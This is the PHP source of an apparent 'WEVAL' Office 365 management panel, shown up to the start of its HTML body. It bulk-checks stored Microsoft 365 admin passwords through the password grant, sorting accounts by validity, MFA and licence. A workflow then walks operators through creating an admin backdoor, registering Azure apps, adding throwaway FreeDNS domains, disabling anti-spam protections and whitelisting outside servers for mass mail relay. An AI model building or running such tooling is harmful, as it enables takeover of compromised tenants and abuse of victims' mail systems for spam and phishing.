Files
wevads-platform/public/office-management.php
2026-04-07 03:04:16 +02:00

1095 lines
56 KiB
PHP
Raw Permalink Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
require_once('/opt/wevads/config/credentials.php');
/**
* Office 365 Management - WEVAL
* Gestion des comptes Office et workflow d'automatisation
*/
session_start();
header('Content-Type: text/html; charset=utf-8');
try {
$pdo = get_pdo('adx_system');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (Exception $e) {
die("Erreur DB: " . $e->getMessage());
}
// Vérifier/créer les colonnes
try {
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS password_status VARCHAR(20) DEFAULT NULL");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS has_license BOOLEAN DEFAULT NULL");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS has_mfa BOOLEAN DEFAULT NULL");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS domains_count INTEGER DEFAULT 0");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS last_check TIMESTAMP DEFAULT NULL");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS source VARCHAR(100)");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS account_type VARCHAR(50)");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS client_id VARCHAR(100)");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS secret_id TEXT");
$pdo->exec("ALTER TABLE admin.office_accounts ADD COLUMN IF NOT EXISTS comment TEXT");
} catch (Exception $e) {}
// Fonction de vérification complète
function checkOfficeAccount($email, $password, $tenantDomain = null) {
$result = [
'password_status' => 'unknown',
'has_license' => null,
'has_mfa' => null,
'error' => null,
'access_token' => null
];
if (empty($email) || empty($password)) return $result;
$tenant = $tenantDomain ?: 'common';
if (strpos($tenant, '.onmicrosoft.com') !== false) {
$tenant = str_replace('.onmicrosoft.com', '', $tenant);
}
$url = "https://login.microsoftonline.com/$tenant.onmicrosoft.com/oauth2/v2.0/token";
$postData = http_build_query([
'grant_type' => 'password',
'client_id' => '1b730954-1685-4b74-9bfd-dac224a7b894',
'username' => $email,
'password' => $password,
'scope' => 'https://graph.microsoft.com/.default'
]);
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$data = json_decode($response, true);
if ($httpCode === 200 && isset($data['access_token'])) {
$result['password_status'] = 'valid';
$result['has_mfa'] = false;
$result['access_token'] = $data['access_token'];
return $result;
}
if (isset($data['error'])) {
$errorDesc = $data['error_description'] ?? '';
if (strpos($errorDesc, 'AADSTS50126') !== false) {
$result['password_status'] = 'invalid';
$result['has_mfa'] = false;
}
elseif (strpos($errorDesc, 'AADSTS50076') !== false || strpos($errorDesc, 'AADSTS50079') !== false) {
$result['password_status'] = 'valid';
$result['has_mfa'] = true;
}
elseif (strpos($errorDesc, 'AADSTS50057') !== false) {
$result['password_status'] = 'disabled';
}
elseif (strpos($errorDesc, 'AADSTS50053') !== false) {
$result['password_status'] = 'locked';
}
elseif (strpos($errorDesc, 'AADSTS50034') !== false) {
$result['password_status'] = 'not_found';
}
elseif (strpos($errorDesc, 'AADSTS5000224') !== false) {
$result['password_status'] = 'tenant_gone';
}
elseif (strpos($errorDesc, 'AADSTS65001') !== false) {
$result['password_status'] = 'valid';
$result['has_mfa'] = false;
}
elseif (strpos($errorDesc, 'AADSTS50055') !== false) {
$result['password_status'] = 'expired';
}
elseif (strpos($errorDesc, 'AADSTS50058') !== false) {
$result['password_status'] = 'valid';
$result['has_mfa'] = true;
}
elseif (strpos($errorDesc, 'AADSTS700016') !== false) {
$result['password_status'] = 'app_error';
}
else {
$result['password_status'] = 'error';
$result['error'] = substr($errorDesc, 0, 100);
}
}
return $result;
}
function checkLicense($accessToken) {
if (empty($accessToken)) return null;
$ch = curl_init('https://graph.microsoft.com/v1.0/me/licenseDetails');
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => ['Authorization: Bearer ' . $accessToken]
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200) {
$data = json_decode($response, true);
return !empty($data['value']);
}
return null;
}
function getDomains($accessToken) {
if (empty($accessToken)) return [];
$ch = curl_init('https://graph.microsoft.com/v1.0/domains');
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_HTTPHEADER => ['Authorization: Bearer ' . $accessToken]
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200) {
$data = json_decode($response, true);
return $data['value'] ?? [];
}
return [];
}
$workflowSteps = [
0 => ['name' => 'Récupération Compte', 'desc' => 'Créer backdoor admin'],
1 => ['name' => 'Test Licence', 'desc' => 'Vérifier capacité SMTP'],
2 => ['name' => 'Add Credentials', 'desc' => 'Créer App Azure AD'],
3 => ['name' => 'Créer Domaines', 'desc' => 'FreeDNS (5 domaines)'],
4 => ['name' => 'Ajouter Domaines O365', 'desc' => 'Importer dans Office'],
5 => ['name' => 'Vérifier Domaines', 'desc' => 'Validation DNS'],
6 => ['name' => 'Config Anti-Spam', 'desc' => 'Désactiver protections'],
7 => ['name' => 'Créer Connecteur', 'desc' => 'Ajouter IPs Huawei']
];
$message = '';
$messageType = '';
$domainsModal = null;
$accName = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$action = $_POST['action'] ?? '';
switch ($action) {
case 'add_account':
$stmt = $pdo->prepare("INSERT INTO admin.office_accounts (name, tenant_domain, admin_email, admin_password, status, created_by, source) VALUES (?, ?, ?, ?, 'Pending', 'Admin', 'Manual')");
$stmt->execute([$_POST['name'], $_POST['tenant_domain'], $_POST['admin_email'], $_POST['admin_password']]);
$message = "Compte ajouté avec succès";
$messageType = "success";
break;
case 'update_step':
require_once 'office-scripts-e2e.php';
$accountId = intval($_POST['account_id']);
$newStep = intval($_POST['new_step']);
$acc = $pdo->query("SELECT * FROM admin.office_accounts WHERE id = $accountId")->fetch(PDO::FETCH_ASSOC);
if (!$acc) {
$message = "❌ Compte non trouvé";
$messageType = "error";
break;
}
$stepResults = [];
$stepSuccess = true;
// Récupérer IPs Huawei
$huaweiIPs = $pdo->query("SELECT public_ip FROM admin.huawei_instances WHERE status IN ('Running','Active') AND public_ip IS NOT NULL")->fetchAll(PDO::FETCH_COLUMN);
if (empty($huaweiIPs)) $huaweiIPs = ['47.84.117.248'];
switch ($newStep) {
case 0: // Récupération Compte
$stepResults[] = "<strong>🔐 Étape 0: Récupération Compte</strong>";
$stepResults[] = "";
if (empty($acc['admin_email']) || empty($acc['admin_password'])) {
$stepResults[] = "❌ Email ou mot de passe manquant";
$stepSuccess = false;
} else {
$checkResult = checkOfficeAccount($acc['admin_email'], $acc['admin_password'], $acc['tenant_domain']);
if ($checkResult['password_status'] === 'valid') {
$stepResults[] = "✅ Credentials valides: " . $acc['admin_email'];
$stepResults[] = $checkResult['has_mfa'] ? "⚠️ MFA activé" : "✅ Pas de MFA";
$pdo->prepare("UPDATE admin.office_accounts SET status='Active', password_status='valid', has_mfa=? WHERE id=?")->execute([($checkResult['has_mfa']?'t':'f'), $accountId]);
} else {
$stepResults[] = "❌ Credentials invalides: " . $checkResult['password_status'];
$stepSuccess = false;
}
$stepResults[] = "";
$stepResults[] = "📜 <strong>Script PowerShell:</strong>";
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript0($acc['admin_email'], $acc['admin_password'])) . "</pre>";
}
break;
case 1: // Test SMTP
$stepResults[] = "<strong>📬 Étape 1: Test Licence SMTP</strong>";
$stepResults[] = "";
$smtp = testSMTPConnection($acc['admin_email'], $acc['admin_password']);
if ($smtp['status'] === 'ready') {
$stepResults[] = "✅ <strong>SMTP PRÊT</strong> - Relay autorisé";
$stepResults[] = "→ Capacité: 10k-50k emails/jour";
$pdo->prepare("UPDATE admin.office_accounts SET has_license='t' WHERE id=?")->execute([$accountId]);
} elseif ($smtp['status'] === 'need_connector') {
$stepResults[] = "⚠️ Auth OK - <strong>Connecteur requis</strong> (étape 7)";
$pdo->prepare("UPDATE admin.office_accounts SET has_license='t' WHERE id=?")->execute([$accountId]);
} else {
$stepResults[] = "❌ SMTP refusé: " . $smtp['message'];
$pdo->prepare("UPDATE admin.office_accounts SET has_license='f' WHERE id=?")->execute([$accountId]);
$stepSuccess = false;
}
break;
case 2: // Credentials Azure
$stepResults[] = "<strong>🔐 Étape 2: Création Credentials Azure AD</strong>";
$stepResults[] = "";
if (!empty($acc['client_id']) && !empty($acc['secret_id'])) {
$stepResults[] = "✅ Credentials déjà configurés";
$stepResults[] = "→ Client ID: " . substr($acc['client_id'],0,8) . "...";
} else {
$stepResults[] = "⚠️ <strong>Credentials NON configurés</strong>";
$stepResults[] = "";
$stepResults[] = "📜 <strong>Exécutez ce script PowerShell:</strong>";
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript2($acc['admin_email'])) . "</pre>";
$stepResults[] = "";
$stepResults[] = "⚠️ Copiez Client ID, Tenant ID, Secret dans l'éditeur WEVAL";
$stepSuccess = false;
}
break;
case 3: // FreeDNS
$stepResults[] = "<strong>🌐 Étape 3: Création Domaines FreeDNS</strong>";
$stepResults[] = "";
$stepResults[] = "⚠️ <strong>Action manuelle requise</strong>";
$stepResults[] = "";
$stepResults[] = "1⃣ Allez sur <a href='https://freedns.afraid.org' target='_blank'>freedns.afraid.org</a>";
$stepResults[] = "2⃣ Créez un compte gratuit";
$stepResults[] = "3⃣ Subdomains → Add (5 fois)";
$stepResults[] = "4⃣ Pour chaque domaine:";
$stepResults[] = " • Type: <strong>A</strong>";
$stepResults[] = " • Subdomain: nom aléatoire";
$stepResults[] = " • Domain: choisir (mooo.com, etc.)";
$stepResults[] = " • Destination: <code>" . $huaweiIPs[0] . "</code>";
$stepResults[] = "";
$stepResults[] = "⏱️ Temps: 10-15 min (avec CAPTCHAs)";
break;
case 4: // Ajout domaines O365
$stepResults[] = "<strong>📥 Étape 4: Ajout Domaines Office 365</strong>";
$stepResults[] = "";
if (empty($acc['client_id']) || empty($acc['tenant_id']) || empty($acc['secret_id'])) {
$stepResults[] = "❌ Credentials Azure manquants - Faites d'abord l'étape 2";
$stepSuccess = false;
} else {
$stepResults[] = "✅ Credentials Azure OK";
$stepResults[] = "";
$stepResults[] = "📜 <strong>Script PowerShell (modifiez \$Domains):</strong>";
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript4($acc['tenant_id'], $acc['client_id'], $acc['secret_id'])) . "</pre>";
}
break;
case 5: // Vérifier domaines
$stepResults[] = "<strong>✓ Étape 5: Vérification Domaines</strong>";
$stepResults[] = "";
$stepResults[] = "⚠️ <strong>Script Python/Selenium requis</strong>";
$stepResults[] = "";
$stepResults[] = "Ou manuellement:";
$stepResults[] = "1⃣ <a href='https://admin.microsoft.com/#/Domains' target='_blank'>Admin Center → Domains</a>";
$stepResults[] = "2⃣ Cliquez sur chaque domaine non vérifié";
$stepResults[] = "3⃣ Suivez les instructions de vérification TXT";
break;
case 6: // Anti-Spam
$stepResults[] = "<strong>🛡️ Étape 6: Configuration Anti-Spam</strong>";
$stepResults[] = "";
$stepResults[] = "IPs à whitelister: " . implode(", ", $huaweiIPs);
$stepResults[] = "";
$stepResults[] = "📜 <strong>Script PowerShell:</strong>";
$stepResults[] = "<pre style='background:#1e293b;color:#22d3ee;padding:10px;border-radius:8px;font-size:11px;max-height:300px;overflow:auto;'>" . htmlspecialchars(generateScript6($acc['admin_email'], $acc['admin_password'], $huaweiIPs)) . "</pre>";
break;
case 7: // Connecteur
$stepResults[] = "<strong>🔌 Étape 7: Création Connecteur Exchange</strong>";
$stepResults[] = "";
$stepResults[] = "IPs disponibles: " . implode(", ", $huaweiIPs);
$stepResults[] = "";
$stepResults[] = "📝 <strong>Créez manuellement:</strong>";
$stepResults[] = "1⃣ <a href='https://admin.exchange.microsoft.com/#/connectors' target='_blank'>Exchange Admin → Mail flow → Connectors</a>";
$stepResults[] = "2⃣ Add connector";
$stepResults[] = "3⃣ From: Your organization's email server";
$stepResults[] = "4⃣ To: Office 365";
$stepResults[] = "5⃣ Auth: By IP address";
$stepResults[] = "6⃣ Ajoutez: " . implode(", ", $huaweiIPs);
break;
}
if ($stepSuccess) {
$pdo->prepare("UPDATE admin.office_accounts SET current_step=?, last_update=NOW() WHERE id=?")->execute([$newStep, $accountId]);
}
$stepName = $workflowSteps[$newStep]['name'] ?? "Étape $newStep";
$icon = $stepSuccess ? "" : "⚠️";
$color = $stepSuccess ? '#10b981' : '#f59e0b';
$message = "<div style='text-align:left'>";
$message .= "<h3 style='color:$color;margin:0 0 15px 0'>$icon $stepName</h3>";
$message .= "<p style='color:#94a3b8;margin-bottom:15px'>Compte: <strong>" . htmlspecialchars($acc['admin_email']) . "</strong></p>";
$message .= "<div style='line-height:1.8'>" . implode("<br>", $stepResults) . "</div>";
$message .= "</div>";
$messageType = $stepSuccess ? "success" : "warning";
break;
case 'delete_account':
$pdo->prepare("DELETE FROM admin.office_connectors WHERE account_id = ?")->execute([$_POST['account_id']]);
$pdo->prepare("DELETE FROM admin.office_domains WHERE account_id = ?")->execute([$_POST['account_id']]);
$pdo->prepare("DELETE FROM admin.office_accounts WHERE id = ?")->execute([$_POST['account_id']]);
$message = "Compte supprimé";
$messageType = "success";
break;
case 'verify_account':
$accountId = intval($_POST['account_id']);
$acc = $pdo->query("SELECT admin_email, admin_password, tenant_domain FROM admin.office_accounts WHERE id = $accountId")->fetch(PDO::FETCH_ASSOC);
if ($acc && !empty($acc['admin_email']) && !empty($acc['admin_password'])) {
$checkResult = checkOfficeAccount($acc['admin_email'], $acc['admin_password'], $acc['tenant_domain']);
$hasLicense = null;
$domainsCount = 0;
if (!empty($checkResult['access_token'])) {
$hasLicense = checkLicense($checkResult['access_token']);
$domains = getDomains($checkResult['access_token']);
$domainsCount = count($domains);
$pdo->prepare("DELETE FROM admin.office_domains WHERE account_id = ?")->execute([$accountId]);
foreach ($domains as $domain) {
try {
$stmt = $pdo->prepare("INSERT INTO admin.office_domains (account_id, domain_name, verification_status) VALUES (?, ?, ?)");
$stmt->execute([$accountId, $domain['id'], $domain['isVerified'] ? 'Verified' : 'Pending']);
} catch (Exception $e) {}
}
}
$newStatus = 'Pending';
if ($checkResult['password_status'] === 'valid') {
$newStatus = 'Active';
} elseif (in_array($checkResult['password_status'], ['invalid', 'disabled', 'locked', 'not_found', 'tenant_gone', 'expired'])) {
$newStatus = 'Blocked';
}
$stmt = $pdo->prepare("UPDATE admin.office_accounts SET
password_status = ?, has_license = ?, has_mfa = ?, domains_count = ?,
last_check = NOW(), status = ? WHERE id = ?");
$stmt->execute([
$checkResult['password_status'], ($hasLicense === null ? null : ($hasLicense ? "t" : "f")), ($checkResult['has_mfa'] === null ? null : ($checkResult['has_mfa'] ? "t" : "f")),
$domainsCount, $newStatus, $accountId
]);
$statusMessages = [
'valid' => '✅ Password OK',
'invalid' => '❌ Password incorrect',
'locked' => '🔒 Compte verrouillé',
'disabled' => '⛔ Compte désactivé',
'not_found' => '❓ Utilisateur non trouvé',
'tenant_gone' => '🏢 Tenant supprimé',
'expired' => '⏰ Password expiré',
'error' => '⚠️ Erreur'
];
$message = "Vérification : " . ($statusMessages[$checkResult['password_status']] ?? $checkResult['password_status']);
$message .= " - " . $acc['admin_email'];
if ($checkResult['has_mfa']) $message .= " (MFA requis)";
$messageType = "success";
}
break;
case 'verify_all':
// Utiliser les filtres passés par le formulaire
$vLimit = intval($_POST['limit'] ?? 50);
if ($vLimit < 1 || $vLimit > 500) $vLimit = 50;
$vWhere = ["admin_email IS NOT NULL", "admin_password IS NOT NULL", "admin_password != ''"];
$vParams = [];
if (!empty($_POST['filter_search'])) {
$vWhere[] = "(name ILIKE ? OR admin_email ILIKE ? OR tenant_domain ILIKE ?)";
$s = '%' . $_POST['filter_search'] . '%';
$vParams = array_merge($vParams, [$s, $s, $s]);
}
if (!empty($_POST['filter_status'])) { $vWhere[] = "status = ?"; $vParams[] = $_POST['filter_status']; }
if (!empty($_POST['filter_password'])) { $vWhere[] = "password_status = ?"; $vParams[] = $_POST['filter_password']; }
if (!empty($_POST['filter_mfa'])) {
if ($_POST['filter_mfa'] === 'yes') $vWhere[] = "has_mfa = true";
else $vWhere[] = "(has_mfa = false OR has_mfa IS NULL)";
}
if (!empty($_POST['filter_source'])) { $vWhere[] = "source = ?"; $vParams[] = $_POST['filter_source']; }
if (!empty($_POST['filter_license'])) {
if ($_POST['filter_license'] === 'yes') $vWhere[] = "has_license = true";
else $vWhere[] = "(has_license = false OR has_license IS NULL)";
}
if (!empty($_POST['filter_domains'])) {
if ($_POST['filter_domains'] === 'yes') $vWhere[] = "domains_count > 0";
else $vWhere[] = "(domains_count = 0 OR domains_count IS NULL)";
}
$vSql = "SELECT id, admin_email, admin_password, tenant_domain FROM admin.office_accounts WHERE " . implode(' AND ', $vWhere) . " LIMIT $vLimit";
$vStmt = $pdo->prepare($vSql);
$vStmt->execute($vParams);
$allAccounts = $vStmt->fetchAll(PDO::FETCH_ASSOC);
$stats = ['valid' => 0, 'invalid' => 0, 'mfa' => 0, 'tenant_gone' => 0, 'other' => 0];
foreach ($allAccounts as $acc) {
$checkResult = checkOfficeAccount($acc['admin_email'], $acc['admin_password'], $acc['tenant_domain']);
$hasLicense = null;
$domainsCount = 0;
if (!empty($checkResult['access_token'])) {
$hasLicense = checkLicense($checkResult['access_token']);
$domains = getDomains($checkResult['access_token']);
$domainsCount = count($domains);
}
$newStatus = 'Pending';
if ($checkResult['password_status'] === 'valid') {
$newStatus = 'Active';
$stats['valid']++;
if ($checkResult['has_mfa']) $stats['mfa']++;
} elseif ($checkResult['password_status'] === 'invalid') {
$newStatus = 'Blocked';
$stats['invalid']++;
} elseif ($checkResult['password_status'] === 'tenant_gone') {
$newStatus = 'Blocked';
$stats['tenant_gone']++;
} else {
$stats['other']++;
}
$stmt = $pdo->prepare("UPDATE admin.office_accounts SET
password_status = ?, has_license = ?, has_mfa = ?, domains_count = ?,
last_check = NOW(), status = ? WHERE id = ?");
$stmt->execute([
$checkResult['password_status'], ($hasLicense === null ? null : ($hasLicense ? "t" : "f")), ($checkResult['has_mfa'] === null ? null : ($checkResult['has_mfa'] ? "t" : "f")),
$domainsCount, $newStatus, $acc['id']
]);
usleep(500000);
}
$message = "Vérification : {$stats['valid']} valides ({$stats['mfa']} MFA), {$stats['invalid']} invalides, {$stats['tenant_gone']} tenants supprimés, {$stats['other']} autres";
$messageType = "success";
break;
case 'show_domains':
$accountId = intval($_POST['account_id']);
$domainsModal = $pdo->query("SELECT * FROM admin.office_domains WHERE account_id = $accountId ORDER BY domain_name")->fetchAll(PDO::FETCH_ASSOC);
$accName = $pdo->query("SELECT name FROM admin.office_accounts WHERE id = $accountId")->fetchColumn();
break;
}
}
// Filtres
$filterStatus = $_GET['status'] ?? '';
$filterPassword = $_GET['password'] ?? '';
$filterMfa = $_GET['mfa'] ?? '';
$filterLicense = $_GET['license'] ?? '';
$filterDomains = $_GET['domains'] ?? '';
$filterSource = $_GET['source'] ?? '';
$search = $_GET['search'] ?? '';
$whereConditions = [];
$params = [];
if ($filterStatus) { $whereConditions[] = "status = ?"; $params[] = $filterStatus; }
if ($filterPassword) { $whereConditions[] = "password_status = ?"; $params[] = $filterPassword; }
if ($filterMfa === 'yes') { $whereConditions[] = "has_mfa = true"; }
elseif ($filterMfa === 'no') { $whereConditions[] = "has_mfa = false"; }
if ($filterLicense === 'yes') { $whereConditions[] = "has_license = true"; }
elseif ($filterLicense === 'no') { $whereConditions[] = "has_license = false"; }
if ($filterDomains === 'yes') { $whereConditions[] = "domains_count > 0"; }
elseif ($filterDomains === 'no') { $whereConditions[] = "domains_count = 0"; }
if ($filterSource) { $whereConditions[] = "source = ?"; $params[] = $filterSource; }
if ($search) {
$whereConditions[] = "(name ILIKE ? OR tenant_domain ILIKE ? OR admin_email ILIKE ?)";
$searchTerm = "%$search%";
$params[] = $searchTerm; $params[] = $searchTerm; $params[] = $searchTerm;
}
$sql = "SELECT * FROM admin.office_accounts";
if ($whereConditions) { $sql .= " WHERE " . implode(" AND ", $whereConditions); }
$sql .= " ORDER BY id DESC";
$stmt = $pdo->prepare($sql);
$stmt->execute($params);
$accounts = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Récupérer les sources uniques pour le filtre
$sources = $pdo->query("SELECT DISTINCT source FROM admin.office_accounts WHERE source IS NOT NULL AND source != '' ORDER BY source")->fetchAll(PDO::FETCH_COLUMN);
$huaweiServers = [];
try {
$huaweiServers = $pdo->query("SELECT * FROM admin.huawei_instances WHERE status IN ('Running', 'Active')")->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {}
$allAccountsStats = $pdo->query("SELECT
COUNT(*) as total,
COUNT(CASE WHEN password_status = 'valid' THEN 1 END) as valid_pwd,
COUNT(CASE WHEN has_mfa = true THEN 1 END) as with_mfa,
COUNT(CASE WHEN has_license = true THEN 1 END) as with_license,
COUNT(CASE WHEN domains_count > 0 THEN 1 END) as with_domains
FROM admin.office_accounts")->fetch(PDO::FETCH_ASSOC);
// Stats par source
$sourceStats = $pdo->query("SELECT source, COUNT(*) as cnt FROM admin.office_accounts WHERE source IS NOT NULL GROUP BY source ORDER BY cnt DESC")->fetchAll(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Office 365 Management - WEVAL</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: linear-gradient(135deg, #f0f9ff 0%, #e0f2fe 50%, #f8fafc 100%);
min-height: 100vh;
color: #1e293b;
}
.container { max-width: 1900px; margin: 0 auto; padding: 20px; }
.header {
background: #ffffff;
border-radius: 16px;
padding: 24px 32px;
margin-bottom: 24px;
border: 1px solid #e2e8f0;
display: flex;
justify-content: space-between;
align-items: center;
box-shadow: 0 4px 20px rgba(6, 182, 212, 0.1);
}
.header h1 {
font-size: 28px;
font-weight: 700;
background: linear-gradient(135deg, #0891b2, #0e7490);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
.header p { color: #64748b; margin-top: 4px; font-size: 13px; }
.header-actions { display: flex; gap: 10px; }
.btn {
padding: 10px 20px;
border: none;
border-radius: 8px;
cursor: pointer;
font-weight: 600;
font-size: 13px;
transition: all 0.2s;
display: inline-flex;
align-items: center;
gap: 8px;
text-decoration: none;
}
.btn-primary { background: linear-gradient(135deg, #0891b2, #06b6d4); color: white; }
.btn-success { background: linear-gradient(135deg, #059669, #10b981); color: white; }
.btn-warning { background: linear-gradient(135deg, #d97706, #f59e0b); color: white; }
.btn-danger { background: linear-gradient(135deg, #dc2626, #ef4444); color: white; }
.btn-secondary { background: #f1f5f9; color: #475569; border: 1px solid #e2e8f0; }
.btn-purple { background: linear-gradient(135deg, #7c3aed, #8b5cf6); color: white; }
.btn-help { background: linear-gradient(135deg, #0ea5e9, #38bdf8); color: white; }
.btn-sm { padding: 6px 12px; font-size: 11px; }
.stats-grid {
display: grid;
grid-template-columns: repeat(6, 1fr);
gap: 16px;
margin-bottom: 24px;
}
.stat-card {
background: #ffffff;
border-radius: 12px;
padding: 20px;
border: 1px solid #e2e8f0;
text-align: center;
}
.stat-value {
font-size: 36px;
font-weight: 700;
background: linear-gradient(135deg, #0891b2, #06b6d4);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
.stat-label { color: #64748b; margin-top: 6px; font-size: 12px; }
.filters-card {
background: #ffffff;
border-radius: 12px;
padding: 20px;
margin-bottom: 20px;
border: 1px solid #e2e8f0;
}
.filters-grid {
display: grid;
grid-template-columns: 2fr repeat(6, 1fr) auto;
gap: 12px;
align-items: end;
}
.filter-group label {
display: block;
font-size: 11px;
color: #64748b;
margin-bottom: 6px;
text-transform: uppercase;
}
.filter-control {
width: 100%;
padding: 10px 12px;
background: #f8fafc;
border: 1px solid #e2e8f0;
border-radius: 8px;
color: #1e293b;
font-size: 13px;
}
.filter-control:focus { outline: none; border-color: #06b6d4; }
.tabs {
display: flex;
gap: 4px;
margin-bottom: 20px;
background: #ffffff;
padding: 4px;
border-radius: 10px;
border: 1px solid #e2e8f0;
width: fit-content;
}
.tab {
padding: 10px 20px;
border: none;
background: transparent;
color: #64748b;
cursor: pointer;
border-radius: 8px;
font-weight: 600;
font-size: 13px;
}
.tab:hover { color: #0891b2; background: #f0f9ff; }
.tab.active { background: linear-gradient(135deg, #0891b2, #06b6d4); color: white; }
.tab-content { display: none; }
.tab-content.active { display: block; }
.card {
background: #ffffff;
border-radius: 12px;
border: 1px solid #e2e8f0;
overflow: hidden;
margin-bottom: 20px;
}
.card-header {
background: #f8fafc;
padding: 16px 20px;
border-bottom: 1px solid #e2e8f0;
display: flex;
justify-content: space-between;
align-items: center;
}
.card-header h3 { font-size: 16px; color: #0891b2; }
.card-body { padding: 0; }
table { width: 100%; border-collapse: collapse; }
th, td { padding: 10px 12px; text-align: left; border-bottom: 1px solid #f1f5f9; font-size: 12px; }
th { background: #f8fafc; color: #0891b2; font-size: 10px; text-transform: uppercase; position: sticky; top: 0; }
tr:hover { background: #f0f9ff; }
.badge {
padding: 3px 8px;
border-radius: 5px;
font-size: 10px;
font-weight: 600;
display: inline-flex;
align-items: center;
gap: 3px;
}
.badge-success { background: #dcfce7; color: #16a34a; }
.badge-danger { background: #fee2e2; color: #dc2626; }
.badge-warning { background: #fef3c7; color: #d97706; }
.badge-info { background: #cffafe; color: #0891b2; }
.badge-secondary { background: #f1f5f9; color: #64748b; }
.badge-purple { background: #f3e8ff; color: #9333ea; }
.badge-dark { background: #1e293b; color: #f1f5f9; }
.badge-source { background: #fef3c7; color: #92400e; font-size: 9px; }
.action-btn {
padding: 4px 6px;
border-radius: 5px;
border: none;
cursor: pointer;
font-size: 10px;
}
.action-btn-check { background: #cffafe; color: #0891b2; }
.action-btn-play { background: #dcfce7; color: #16a34a; }
.action-btn-key { background: #fef3c7; color: #d97706; }
.action-btn-delete { background: #fee2e2; color: #dc2626; }
.domains-btn {
background: #f3e8ff;
color: #9333ea;
padding: 3px 8px;
border-radius: 5px;
font-size: 10px;
cursor: pointer;
border: none;
}
.modal {
display: none;
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
background: rgba(15, 23, 42, 0.6);
z-index: 1000;
align-items: center;
justify-content: center;
backdrop-filter: blur(4px);
}
.modal.active { display: flex; }
.modal-content {
background: #ffffff;
border-radius: 16px;
width: 90%;
max-width: 700px;
max-height: 85vh;
overflow-y: auto;
}
.modal-header {
padding: 20px;
border-bottom: 1px solid #e2e8f0;
display: flex;
justify-content: space-between;
align-items: center;
background: #f8fafc;
}
.modal-header h3 { color: #0891b2; font-size: 18px; }
.modal-body { padding: 20px; }
.modal-close {
background: #fee2e2;
border: none;
color: #dc2626;
width: 32px; height: 32px;
border-radius: 8px;
font-size: 16px;
cursor: pointer;
}
.form-group { margin-bottom: 16px; }
.form-group label { display: block; margin-bottom: 6px; color: #475569; font-size: 12px; }
.form-control {
width: 100%;
padding: 10px 14px;
background: #f8fafc;
border: 1px solid #e2e8f0;
border-radius: 8px;
color: #1e293b;
font-size: 13px;
}
.message {
padding: 14px 20px;
border-radius: 10px;
margin-bottom: 20px;
}
.message-success { background: #dcfce7; color: #16a34a; }
.message-error { background: #fee2e2; color: #dc2626; }
.results-count {
color: #64748b;
font-size: 13px;
padding: 10px 20px;
border-bottom: 1px solid #f1f5f9;
background: #fafafa;
}
code { background: #cffafe; padding: 2px 5px; border-radius: 4px; font-size: 10px; color: #0891b2; }
.help-table { width: 100%; border-collapse: collapse; margin-top: 16px; }
.help-table th, .help-table td { padding: 10px; border: 1px solid #e2e8f0; text-align: left; font-size: 12px; }
.help-table th { background: #f0f9ff; color: #0891b2; }
.grid-2 { display: grid; grid-template-columns: repeat(2, 1fr); gap: 16px; }
.source-tag {
display: inline-block;
padding: 2px 6px;
background: #fef3c7;
color: #92400e;
border-radius: 4px;
font-size: 9px;
font-weight: 600;
max-width: 80px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
@media (max-width: 1400px) { .stats-grid { grid-template-columns: repeat(3, 1fr); } .filters-grid { grid-template-columns: repeat(4, 1fr); } }
@media (max-width: 768px) { .stats-grid, .filters-grid, .grid-2 { grid-template-columns: 1fr; } }
</style>
</head>
<body>
<div class="container">
